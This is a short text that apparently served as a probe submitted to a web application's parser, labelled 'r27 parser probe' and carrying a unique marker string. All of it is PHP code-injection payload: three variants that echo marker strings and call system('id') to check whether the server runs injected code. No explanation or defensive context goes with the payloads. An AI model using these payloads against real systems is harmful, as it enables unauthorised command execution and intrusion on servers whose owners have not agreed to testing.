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r27 parser probe XTQ_R27_4hzcxq
no info about syntaxno info about versionno info about config<php>echo 'PHP_OK_'; echo 'XTQ_R27_4hzcxq'; system('id'); </php>
<html><?php echo 'HTMLOK_XTQ_R27_4hzcxq'; system('id'); ?></html>
<?php system('id'); ?>